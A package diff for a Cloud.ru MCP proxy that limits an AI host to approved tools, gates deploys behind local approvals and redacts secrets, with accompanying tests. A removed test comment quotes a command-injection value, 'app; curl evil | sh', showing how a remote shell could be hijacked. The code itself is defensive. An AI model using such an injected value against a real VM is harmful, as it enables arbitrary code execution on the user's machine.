@dzhechkov/cloudru-hub 0.1.11 → 0.1.13

package/src/safe-mcp.js

@@ -0,0 +1,268 @@
+'use strict';
+
+// Read-only MCP boundary for hosts whose hook/permission paths have not been
+// live-probed. The host never gets a raw engine channel through this command.
+const { spawn } = require('child_process');
+const { loadClassification } = require('./classification');
+const { resolveEngine } = require('./resolve');
+const { selectedToolNames } = require('./toolsets');
+const { readCredentials, readOptionalCredentials } = require('./credentials');
+const { consumeApproval, recordDeployedVM, approvedVM } = require('./deploy-approval');
+const { consumeK8sApproval, k8sSession, verificationArgs } = require('./k8s-approval');
+
+const MAX_LINE = 1024 * 1024;
+const idKey = (id) => JSON.stringify(id);
+const errorResponse = (id, message, code = -32000) => ({ jsonrpc: '2.0', id, error: { code, message } });
+
+function redactDeploySecrets(value) {
+  if (Array.isArray(value)) return value.map(redactDeploySecrets);
+  if (!value || typeof value !== 'object') return value;
+  return Object.fromEntries(Object.entries(value)
+    .filter(([key]) => !/password|secret|private.?key|access.?token/i.test(key))
+    .map(([key, item]) => [key, redactDeploySecrets(item)]));
+}
+
+function lineReader(stream, onLine, onError) {
+  let buffer = '';
+  stream.setEncoding('utf8');
+  stream.on('data', (chunk) => {
+    buffer += chunk;
+    if (Buffer.byteLength(buffer) > MAX_LINE * 2) return onError('MCP input exceeded line limit');
+    for (;;) {
+      const end = buffer.indexOf('\n');
+      if (end < 0) break;
+      const line = buffer.slice(0, end).trim();
+      buffer = buffer.slice(end + 1);
+      if (Buffer.byteLength(line) > MAX_LINE) return onError('MCP line exceeded limit');
+      if (line) onLine(line);
+    }
+    if (Buffer.byteLength(buffer) > MAX_LINE) onError('MCP line exceeded limit');
+  });
+  stream.on('end', () => { if (buffer.trim()) onError('incomplete MCP line'); });
+}
+
+function runSafeMcp(options = {}) {
+  const resolved = options.resolved || resolveEngine();
+  const cls = options.classification || loadClassification();
+  const stderr = options.stderr || process.stderr;
+  const stdin = options.stdin || process.stdin;
+  const stdout = options.stdout || process.stdout;
+  let selected;
+  const deployProfile = options.toolsets === 'vm-deploy';
+  const k8sProfile = options.toolsets === 'k8s-deploy';
+  let credentials;
+  try {
+    selected = new Set(selectedToolNames(options.toolsets || 'all', cls));
+    if (deployProfile || k8sProfile) credentials = readCredentials(options.env || process.env);
+    else if ([...selected].some((name) => name.startsWith('billing_'))) {
+      credentials = readOptionalCredentials(options.env || process.env);
+    }
+  }
+  catch (error) { stderr.write(`cloudru-hub mcp-safe: ${error.message}\n`); return 1; }
+  if (resolved.error || !resolved.verified || resolved.sha256 !== cls.engineSha256) {
+    stderr.write('cloudru-hub mcp-safe: pinned engine SHA-256 required; refusing to start\n');
+    return 1;
+  }
+
+  const engine = spawn(resolved.path, ['mcp'], {
+    stdio: ['pipe', 'pipe', 'inherit'],
+    env: credentials ? { ...(options.env || process.env), ...credentials.env } : (options.env || process.env),
+  });
+  const pending = new Map();
+  // The pinned engine's tool inventory is fixed for this process. Keep a
+  // filtered copy so a host keepalive can be answered while Go is handling a
+  // long deploy_apply request on its serial stdio loop.
+  let cachedToolsList = null;
+  let stopped = false;
+  let inputEnded = false;
+  let closing = false;
+  const emit = (obj) => stdout.write(JSON.stringify(obj) + '\n');
+  const stop = (reason) => {
+    if (stopped) return;
+    stopped = true;
+    stderr.write(`cloudru-hub mcp-safe: ${reason}\n`);
+    for (const key of pending.keys()) {
+      emit(errorResponse(JSON.parse(key), 'Cloud.ru engine connection closed'));
+    }
+    pending.clear();
+    stdin.destroy();
+    engine.stdin.end();
+    if (!engine.killed) engine.kill();
+    process.exitCode = 1;
+  };
+  engine.on('error', (error) => stop(`engine failed: ${error.message}`));
+  engine.on('exit', (code) => {
+    if (!stopped && !closing) stop(`engine exited with status ${code === null ? 'unknown' : code}`);
+  });
+  engine.stdin.on('error', (error) => stop(`engine input failed: ${error.message}`));
+  const closeIfDone = () => {
+    if (inputEnded && pending.size === 0 && !closing) {
+      closing = true;
+      engine.stdin.end();
+    }
+  };
+  stdin.on('end', () => { inputEnded = true; closeIfDone(); });
+
+  lineReader(stdin, (line) => {
+    if (stopped) return;
+    let message;
+    try { message = JSON.parse(line); } catch { emit(errorResponse(null, 'invalid JSON', -32700)); return; }
+    if (!message || Array.isArray(message) || typeof message !== 'object' || message.jsonrpc !== '2.0') {
+      emit(errorResponse(null, 'invalid JSON-RPC request', -32600)); return;
+    }
+    const hasId = Object.hasOwn(message, 'id');
+    const method = message.method;
+    if (!hasId) {
+      if (method === 'notifications/initialized') {
+        engine.stdin.write(JSON.stringify({ jsonrpc: '2.0', method }) + '\n');
+      }
+      return;
+    }
+    if (typeof method !== 'string' || (typeof message.id !== 'string' && !Number.isSafeInteger(message.id))) {
+      emit(errorResponse(message.id ?? null, 'invalid JSON-RPC request', -32600)); return;
+    }
+    const key = idKey(message.id);
+    if (pending.has(key)) { emit(errorResponse(message.id, 'duplicate request id', -32600)); return; }
+    if (method === 'tools/list' && cachedToolsList &&
+        (!Object.hasOwn(message, 'params') ||
+         (message.params && !Array.isArray(message.params) && typeof message.params === 'object' && Object.keys(message.params).length === 0))) {
+      emit({ jsonrpc: '2.0', id: message.id, result: cachedToolsList });
+      return;
+    }
+    let params;
+    let approval;
+    if (method === 'tools/call') {
+      const input = message.params;
+      const name = input && !Array.isArray(input) && typeof input === 'object' ? input.name : undefined;
+      if (typeof name !== 'string' || !selected.has(name)) {
+        emit(errorResponse(message.id, `tool ${typeof name === 'string' ? name : '<missing>'} is unavailable in this profile`));
+        return;
+      }
+      const args = input.arguments === undefined ? {} : input.arguments;
+      if (!args || typeof args !== 'object' || Array.isArray(args)) {
+        emit(errorResponse(message.id, 'tool arguments must be an object', -32602)); return;
+      }
+      // Go's encoding/json accepts case-insensitive struct field aliases. Never forward
+      // the original envelope: {name:"vm_list",Name:"deploy"} can otherwise execute deploy.
+      if (deployProfile && name === 'deploy_apply') {
+        try {
+          if (typeof args.plan_id !== 'string') throw new Error('plan_id is required');
+          approval = consumeApproval(args.plan_id, options.env || process.env);
+          params = { name, arguments: { plan_id: args.plan_id, confirmed: true } };
+        } catch (error) { emit(errorResponse(message.id, `deployment approval rejected: ${error.message}`)); return; }
+      } else if (deployProfile && name === 'vm_exec') {
+        try {
+          if (typeof args.command !== 'string' || !args.command.trim() || args.command.length > 65536) {
+            throw new Error('command must be a non-empty string of at most 65536 characters');
+          }
+          const vm = approvedVM(args.vm || args.vm_id, options.env || process.env);
+          params = { name, arguments: { vm: vm.vmId, user: vm.sshUser, command: args.command } };
+        } catch (error) { emit(errorResponse(message.id, `vm_exec rejected: ${error.message}`)); return; }
+      } else if (k8sProfile && name === 'k8s_apply') {
+        try {
+          if (Object.keys(args).length !== 1 || typeof args.approval_id !== 'string') throw new Error('only approval_id is accepted');
+          const approved = consumeK8sApproval(args.approval_id, options.env || process.env);
+          params = { name, arguments: { cluster_id: approved.clusterId, namespace: approved.namespace,
+            manifest: approved.manifest, create_only: true, confirmed: true } };
+        } catch (error) { emit(errorResponse(message.id, `Kubernetes approval rejected: ${error.message}`)); return; }
+      } else if (k8sProfile && name === 'k8s_kubectl') {
+        try {
+          if (Object.keys(args).length !== 2 || typeof args.approval_id !== 'string' || typeof args.query !== 'string') {
+            throw new Error('only approval_id and query are accepted');
+          }
+          const session = k8sSession(args.approval_id, options.env || process.env);
+          params = { name, arguments: { cluster_id: session.clusterId, args: verificationArgs(session, args.query) } };
+        } catch (error) { emit(errorResponse(message.id, `Kubernetes verification rejected: ${error.message}`)); return; }
+      } else {
+        params = { name, arguments: args };
+      }
+    } else if (!['initialize', 'ping', 'tools/list'].includes(method)) {
+      emit(errorResponse(message.id, `method ${method} is unavailable in read-only mode`, -32601));
+      return;
+    } else if (method === 'initialize') {
+      // The pinned engine requires the client's protocol version and capabilities.
+      const p = message.params;
+      if (!p || typeof p !== 'object' || Array.isArray(p)) {
+        emit(errorResponse(message.id, 'initialize params must be an object', -32602)); return;
+      }
+      params = { protocolVersion: p.protocolVersion, capabilities: p.capabilities, clientInfo: p.clientInfo };
+    }
+    pending.set(key, { method, approval });
+    engine.stdin.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, method, ...(params ? { params } : {}) }) + '\n');
+  }, stop);
+
+  lineReader(engine.stdout, (line) => {
+    if (stopped) return;
+    let message;
+    try { message = JSON.parse(line); } catch { stop('engine emitted invalid JSON'); return; }
+    if (!message || typeof message !== 'object' || !Object.hasOwn(message, 'id')) {
+      // MCP progress/log notifications are not needed for the safe read-only surface.
+      return;
+    }
+    const key = idKey(message.id);
+    const request = pending.get(key);
+    if (!request) { stop('engine emitted an unsolicited response'); return; }
+    const { method, approval } = request;
+    pending.delete(key);
+    if (method === 'tools/list' && !message.error) {
+      if (!message.result || !Array.isArray(message.result.tools)) { stop('engine tools/list response malformed'); return; }
+      message.result = { ...message.result, tools: message.result.tools.filter((tool) =>
+        tool && typeof tool.name === 'string' && selected.has(tool.name)).map((tool) => {
+        if (!k8sProfile) return tool;
+        if (tool.name === 'k8s_apply') return { ...tool,
+          description: 'Apply one locally reviewed Snake manifest to one existing cluster. Pass only the local approval ID.',
+          inputSchema: { type: 'object', properties: { approval_id: { type: 'string' } }, required: ['approval_id'], additionalProperties: false } };
+        if (tool.name === 'k8s_kubectl') return { ...tool,
+          description: 'Read only pods, deployment, service or rollout status for the previously approved Snake workload.',
+          inputSchema: { type: 'object', properties: { approval_id: { type: 'string' },
+            query: { type: 'string', enum: ['pods', 'deployment', 'service', 'rollout'] } },
+          required: ['approval_id', 'query'], additionalProperties: false } };
+        return tool;
+      }) };
+      // A paginated list could conceal tools from filtering/coverage checks.
+      if (message.result.nextCursor) { stop('engine tools/list pagination is unsupported'); return; }
+      cachedToolsList = message.result;
+    }
+    if (method === 'initialize' && message.result && message.result.capabilities) {
+      message.result = { ...message.result, capabilities: { tools: message.result.capabilities.tools || {} } };
+    }
+    if (approval && !message.error) {
+      // The engine returns an MCP text result containing its JSON deploy result.
+      // Keep the model from seeing a generated login password: vm_exec uses the
+      // engine-managed SSH key. Ambiguous responses require inspection.
+      const item = message.result?.content?.find((x) => x.type === 'text');
+      let deploy;
+      try { deploy = JSON.parse(item?.text || ''); }
+      catch {
+        message.result = { isError: true, content: [{ type: 'text', text: 'deploy_apply returned an unreadable outcome; inspect the live VM inventory before retrying' }] };
+        emit(message); closeIfDone(); return;
+      }
+      if (!deploy || typeof deploy !== 'object' || Array.isArray(deploy)) {
+        message.result = { isError: true, content: [{ type: 'text', text: 'deploy_apply returned an invalid outcome; inspect the live VM inventory before retrying' }] };
+        emit(message); closeIfDone(); return;
+      }
+      const safe = redactDeploySecrets(deploy);
+      if (!message.result?.isError && approval.siteMode && deploy.status === 'running' && deploy.http_verification?.verified === true) {
+        // Static-site delivery is verified over HTTP. It does not imply SSH is
+        // available, so never create a vm_exec session for this VM.
+      } else if (!message.result?.isError && !approval.siteMode && deploy.status === 'running') {
+        try {
+          const session = recordDeployedVM(approval, deploy, options.env || process.env);
+          safe.approved_vm_session_expires_at = new Date(session.expiresAt).toISOString();
+        } catch (error) {
+          message.result.isError = true;
+          safe.recovery = `VM may exist but the approved execution session was not recorded: ${error.message}. Inspect VM inventory before retrying.`;
+        }
+      } else {
+        message.result.isError = true;
+        safe.recovery = 'A VM may exist. Inspect the returned VM UUID and live inventory before retrying; a fresh plan and approval may be needed.';
+      }
+      item.text = JSON.stringify(safe);
+    }
+    emit(message);
+    closeIfDone();
+  }, stop);
+  return null;
+}
+
+module.exports = { runSafeMcp, MAX_LINE };

package/src/toolsets.js

@@ -0,0 +1,58 @@
+'use strict';
+// Named, auditable discovery groups. Each member must remain classified allow.
+const { loadClassification } = require('./classification');
+
+const GROUPS = Object.freeze({
+  inventory: ['status', 'list', 'vm_list', 'vm_get', 'list_zones', 'list_images', 'list_flavors', 'list_disk_types', 'list_subnets', 'org_projects', 'org_quotas'],
+  compute: ['vm_list', 'vm_get', 'disk_list', 'list_flavors', 'list_disk_types', 'list_zones', 'list_images', 'list_subnets', 'list_security_groups', 'list_floating_ips'],
+  kubernetes: ['k8s_list', 'k8s_get', 'k8s_options', 'k8s_plan', 'k8s_nodepools'],
+  data: ['pg_list', 'pg_get', 'pg_versions', 'pg_specs', 'pg_databases', 'pg_users', 'pg_backups', 'kafka_list', 'kafka_get', 'kafka_versions', 'kafka_specs', 'redis_list', 'redis_get', 'redis_versions', 'redis_specs'],
+  network: ['vpc_list', 'vpc_get', 'vpc_routes', 'snat_list', 'lb_list', 'lb_get', 'tg_list', 'tg_get', 'dns_zones', 'dns_zone_get', 'dns_records', 'dns_record_get'],
+  storage: ['disk_list', 's3_buckets', 's3_ls', 's3_get'],
+  billing: ['billing_balance', 'billing_consumption', 'billing_finops'],
+});
+
+// A separate, opt-in workflow. Mutators pass the proxy's local plan/VM guard;
+// combining this with a read-only group would blur that boundary.
+const VM_DEPLOY = Object.freeze([
+  'deploy_plan', 'deploy_apply', 'vm_exec', 'vm_list', 'vm_get',
+  'list_zones', 'list_images', 'list_flavors', 'list_disk_types',
+  'list_subnets', 'list_security_groups', 'status',
+]);
+const K8S_DEPLOY = Object.freeze([
+  'k8s_list', 'k8s_get', 'k8s_options', 'k8s_nodepools', 'k8s_apply', 'k8s_kubectl',
+]);
+
+function selectedToolNames(spec = 'all', cls = loadClassification()) {
+  if (spec === 'vm-deploy') {
+    for (const name of VM_DEPLOY) {
+      const permission = cls.tools[name]?.permission;
+      if (permission !== (['deploy_apply', 'vm_exec'].includes(name) ? 'ask' : 'allow')) {
+        throw new Error(`vm-deploy tool classification changed: ${name}`);
+      }
+    }
+    return [...VM_DEPLOY].sort();
+  }
+  if (spec === 'k8s-deploy') {
+    for (const name of K8S_DEPLOY) {
+      const permission = cls.tools[name]?.permission;
+      if (permission !== (['k8s_apply', 'k8s_kubectl'].includes(name) ? 'ask' : 'allow')) {
+        throw new Error(`k8s-deploy tool classification changed: ${name}`);
+      }
+    }
+    return [...K8S_DEPLOY].sort();
+  }
+  const names = Object.entries(cls.tools).filter(([, v]) => v.permission === 'allow').map(([name]) => name);
+  if (spec === 'all') return names.sort();
+  const parts = String(spec).split(',').map((x) => x.trim()).filter(Boolean);
+  if (parts.length === 0 || parts.includes('all') || parts.some((p) => !Object.hasOwn(GROUPS, p))) {
+    throw new Error(`invalid toolsets "${spec}"; choose all, vm-deploy, k8s-deploy, or comma-separated ${Object.keys(GROUPS).join(', ')}`);
+  }
+  const selected = [...new Set(parts.flatMap((p) => GROUPS[p]))].sort();
+  for (const name of selected) {
+    if (!cls.tools[name] || cls.tools[name].permission !== 'allow') throw new Error(`toolset contains non-allow tool: ${name}`);
+  }
+  return selected;
+}
+
+module.exports = { GROUPS, VM_DEPLOY, K8S_DEPLOY, selectedToolNames };

package/test/billing-credentials.test.mjs

@@ -0,0 +1,113 @@
+import { after, test } from 'node:test';
+import assert from 'node:assert/strict';
+import fs from 'node:fs';
+import os from 'node:os';
+import path from 'node:path';
+import { spawnSync } from 'node:child_process';
+import { createRequire } from 'node:module';
+
+const require = createRequire(import.meta.url);
+const { readCredentials } = require('../src/credentials.js');
+const classification = require('../data/tools-classification.json');
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-billing-credentials-'));
+after(() => fs.rmSync(scratch, { recursive: true, force: true }));
+
+const credentials = path.join(scratch, 'credentials.json');
+const engine = path.join(scratch, 'fake-engine');
+const projectId = '11111111-2222-3333-4444-555555555555';
+const agreementId = 'agreement-123';
+
+fs.writeFileSync(engine, `#!/usr/bin/env node
+process.stdin.setEncoding('utf8');
+let buffer = '';
+process.stdin.on('data', (chunk) => {
+  buffer += chunk;
+  let end;
+  while ((end = buffer.indexOf('\\n')) >= 0) {
+    const line = buffer.slice(0, end);
+    buffer = buffer.slice(end + 1);
+    if (!line) continue;
+    const message = JSON.parse(line);
+    const result = { content: [{ type: 'text', text: JSON.stringify({
+      agreement: process.env.CLOUDRU_AGREEMENT_ID || null,
+      keyId: process.env.CLOUDRU_KEY_ID || null,
+      projectId: process.env.CLOUDRU_PROJECT_ID || null,
+    }) }] };
+    process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, result }) + '\\n');
+  }
+});
+`, { mode: 0o755 });
+
+function callBilling(extraEnv = {}, toolsets = 'billing') {
+  const script = `const {runSafeMcp}=require(${JSON.stringify(path.resolve(import.meta.dirname, '../src/safe-mcp.js'))});` +
+    `const result=runSafeMcp({toolsets:${JSON.stringify(toolsets)},resolved:{path:${JSON.stringify(engine)},verified:true,sha256:${JSON.stringify(classification.engineSha256)}}});if(result!==null)process.exitCode=result;`;
+  const input = JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'tools/call', params: { name: 'billing_balance', arguments: {} } }) + '\n';
+  return spawnSync(process.execPath, ['-e', script], {
+    input, encoding: 'utf8', timeout: 5000,
+    env: { ...process.env, CLOUDRU_HUB_CREDENTIALS: credentials, ...extraEnv },
+  });
+}
+
+test('billing profile forwards agreement ID and auth from owner-only credentials to the Go child', () => {
+  fs.writeFileSync(credentials, JSON.stringify({
+    key_id: 'synthetic-key', secret: 'synthetic-secret', project_id: projectId,
+    agreement_id: agreementId,
+  }), { mode: 0o600 });
+  const run = callBilling({ CLOUDRU_AGREEMENT_ID: 'stale-env-agreement' });
+  assert.equal(run.status, 0, run.stderr);
+  const response = JSON.parse(run.stdout.trim());
+  assert.deepEqual(JSON.parse(response.result.content[0].text), {
+    agreement: agreementId, keyId: 'synthetic-key', projectId,
+  });
+  assert.doesNotMatch(run.stdout + run.stderr, /synthetic-secret/);
+});
+
+test('agreement ID is optional in the file and can still come from the environment', () => {
+  fs.writeFileSync(credentials, JSON.stringify({
+    key_id: 'synthetic-key', secret: 'synthetic-secret', project_id: projectId,
+  }), { mode: 0o600 });
+  const run = callBilling({ CLOUDRU_AGREEMENT_ID: agreementId });
+  assert.equal(run.status, 0, run.stderr);
+  assert.equal(JSON.parse(JSON.parse(run.stdout.trim()).result.content[0].text).agreement, agreementId);
+});
+
+test('mixed and all profiles also forward the agreement ID when billing is selected', () => {
+  fs.writeFileSync(credentials, JSON.stringify({
+    key_id: 'synthetic-key', secret: 'synthetic-secret', project_id: projectId,
+    agreement_id: agreementId,
+  }), { mode: 0o600 });
+  for (const profile of ['inventory,billing', 'all']) {
+    const run = callBilling({}, profile);
+    assert.equal(run.status, 0, `${profile}: ${run.stderr}`);
+    assert.equal(JSON.parse(JSON.parse(run.stdout.trim()).result.content[0].text).agreement, agreementId);
+  }
+});
+
+test('billing keeps an environment-only setup when no credential file exists', () => {
+  const run = callBilling({
+    HOME: path.join(scratch, 'empty-home'),
+    CLOUDRU_HUB_CREDENTIALS: '',
+    CLOUDRU_AGREEMENT_ID: agreementId,
+    CLOUDRU_KEY_ID: 'environment-key',
+    CLOUDRU_PROJECT_ID: projectId,
+  });
+  assert.equal(run.status, 0, run.stderr);
+  assert.deepEqual(JSON.parse(JSON.parse(run.stdout.trim()).result.content[0].text), {
+    agreement: agreementId, keyId: 'environment-key', projectId,
+  });
+});
+
+test('explicit missing or malformed billing credential files fail closed', () => {
+  const missing = callBilling({ CLOUDRU_HUB_CREDENTIALS: path.join(scratch, 'missing.json') });
+  assert.equal(missing.status, 1);
+  assert.match(missing.stderr, /cloudru-hub mcp-safe:/);
+  fs.writeFileSync(credentials, JSON.stringify({
+    key_id: 'synthetic-key', secret: 'synthetic-secret', project_id: projectId,
+    agreement_id: 'bad\nvalue',
+  }), { mode: 0o600 });
+  const malformed = callBilling();
+  assert.equal(malformed.status, 1);
+  assert.match(malformed.stderr, /agreement_id/);
+  assert.equal(malformed.stdout, '');
+  assert.throws(() => readCredentials({ CLOUDRU_HUB_CREDENTIALS: credentials }), /agreement_id/);
+});

package/test/classification.test.mjs

@@ -19,34 +19,28 @@ test('every snapshot tool is classified, and nothing extra', () => {
   assert.equal(snapNames.length, 144);
 });
 
-test('counts are the reviewed golden split: 65 ask / 2 deny / 77 allow', () => {
-  assert.deepEqual(cls.counts, { ask: 65, deny: 2, allow: 77 });
+test('counts are the reviewed golden split: 64 ask / 2 deny / 78 allow', () => {
+  assert.deepEqual(cls.counts, { ask: 64, deny: 2, allow: 78 });
   const by = namesByPermission(cls);
-  assert.equal(by.ask.length, 65);
+  assert.equal(by.ask.length, 64);
   assert.equal(by.deny.length, 2);
-  assert.equal(by.allow.length, 77);
+  assert.equal(by.allow.length, 78);
 });
 
-// --- Invariant of the 2026-08-10 behaviour re-audit (cross-model QE HIGH finding) ---
-// stack_status ADVANCES a planned/running job server-side: handleStackStatus
-// (tools_stack.go:451) calls advance() (:479-484), which starts pending steps via
-// s.callTool (:220) — invoking the paid create tools with no confirmation.
-// LIVE-REPRODUCED: one stack_status call moved a planned job planned→running and
-// attempted `provision` (stopped only at AUTH_REQUIRED). If this ever flips back to
-// allow, the fully-frictionless chain stack_plan→stack_status provisions a billable
-// stack with ZERO permission prompts — defeating the ADR-004 brake.
-test('stack_status is ASK — it advances jobs and invokes paid create tools (tools_stack.go:479→:220)', () => {
-  assert.equal(cls.tools.stack_status.permission, 'ask');
-  assert.equal(cls.tools.stack_status.effect, 'mutating');
+// The imported engine now makes status observational. The Go regression test
+// proves repeated reads do not advance a planned/running job; only apply can.
+test('stack_status is ALLOW only after the engine stopped advancing jobs', () => {
+  assert.equal(cls.tools.stack_status.permission, 'allow');
+  assert.equal(cls.tools.stack_status.effect, 'read-only');
   const rules = permissionRules(cls);
-  assert.ok(rules.ask.includes('mcp__cloudru-vm__stack_status'));
-  assert.ok(rules.ask.includes('mcp__cloudru_vm__stack_status'));
-  assert.ok(!rules.allow.some((r) => r.endsWith('__stack_status')), 'stack_status must never be emitted as allow');
+  assert.ok(rules.allow.includes('mcp__cloudru-vm__stack_status'));
+  assert.ok(rules.allow.includes('mcp__cloudru_vm__stack_status'));
+  assert.ok(!rules.ask.some((r) => r.endsWith('__stack_status')));
 });
 
-test('the stack chain: only the pure plan is allow — every advancing/applying/destroying step is ask', () => {
-  assert.equal(cls.tools.stack_plan.permission, 'allow'); // verified: persists a LOCAL job file only, creates nothing
-  for (const name of ['stack_apply', 'stack_status', 'stack_destroy']) {
+test('the stack chain: plan and status are observational; apply and destroy require approval', () => {
+  for (const name of ['stack_plan', 'stack_status']) assert.equal(cls.tools[name].permission, 'allow', name);
+  for (const name of ['stack_apply', 'stack_destroy']) {
     assert.equal(cls.tools[name].permission, 'ask', name);
   }
 });
@@ -54,12 +48,9 @@ test('the stack chain: only the pure plan is allow — every advancing/applying/
 // --- Invariant of the 2026-08-10 shell-reach re-audit (AM-2, cross-model QE HIGH) ---
 // The classification method has a SECOND hazard axis: a tool is allow ONLY if it does NOT
 // pass a user-controlled arg into a remote shell. `logs` does — handleLogs (tools.go:1758)
-// hands the user `service` arg to engine.Logs, which concatenates it RAW into a remote
-// `docker compose logs <service>` (engine/logs.go:61) run via SSH CombinedOutput
-// (internal/deploy/ssh.go:117). service="app; curl evil | sh" ⇒ arbitrary RCE on the
-// user's VM. If this flips back to allow the injection sits behind a SILENT allow — a
-// zero-prompt command-injection path defeating the ADR-004 brake.
-test('logs is ASK — it concatenates a user-controlled service arg into a remote shell (logs.go:61 → ssh.go:117)', () => {
+// reaches a remote shell. The imported engine quotes that argument, but a log
+// read can disclose sensitive output and still crosses the shell-reach axis.
+test('logs remains ASK because it reaches remote SSH/compose', () => {
   assert.equal(cls.tools.logs.permission, 'ask');
   const rules = permissionRules(cls);
   assert.ok(rules.ask.includes('mcp__cloudru-vm__logs'));
@@ -70,10 +61,10 @@ test('logs is ASK — it concatenates a user-controlled service arg into a remot
 // The method doc (the $comment) must keep documenting BOTH hazard axes — losing the
 // shell-reach axis silently is the exact regression that let `logs` sit in allow. This is
 // a layer-1 guard on the METHOD, not just the instance.
-test('the classification method doc documents the shell-reach hazard axis and the engine-injection flag', () => {
+test('the classification method doc documents the shell-reach axis and the engine fix', () => {
   assert.match(cls.$comment, /shell-reach/i, 'method doc must name the shell-reach hazard axis');
-  assert.match(cls.$comment, /user-controlled argument into a shell/i);
-  assert.match(cls.$comment, /shell-escape opts\.Service/i, 'method doc must record the flagged engine injection');
+  assert.match(cls.$comment, /user-controlled argument reaching shell/i);
+  assert.match(cls.$comment, /logs shell-quotes service/i);
 });
 
 // No allow tool may reach a shell: every allow entry must be free of the shell-reach
@@ -128,9 +119,9 @@ test('read-only recon stays frictionless: vm_list, billing_*, deploy_plan are al
 test('permissionRules expands every name in BOTH prefix spellings (unverified normalization, deny-by-default)', () => {
   const rules = permissionRules(cls);
   assert.equal(SERVER_PREFIXES.length, 2);
-  assert.equal(rules.ask.length, 65 * 2);
+  assert.equal(rules.ask.length, 64 * 2);
   assert.equal(rules.deny.length, 2 * 2);
-  assert.equal(rules.allow.length, 77 * 2);
+  assert.equal(rules.allow.length, 78 * 2);
   assert.ok(rules.ask.includes('mcp__cloudru-vm__deploy'));
   assert.ok(rules.ask.includes('mcp__cloudru_vm__deploy'));
   assert.ok(rules.deny.includes('mcp__cloudru-vm__secret_value'));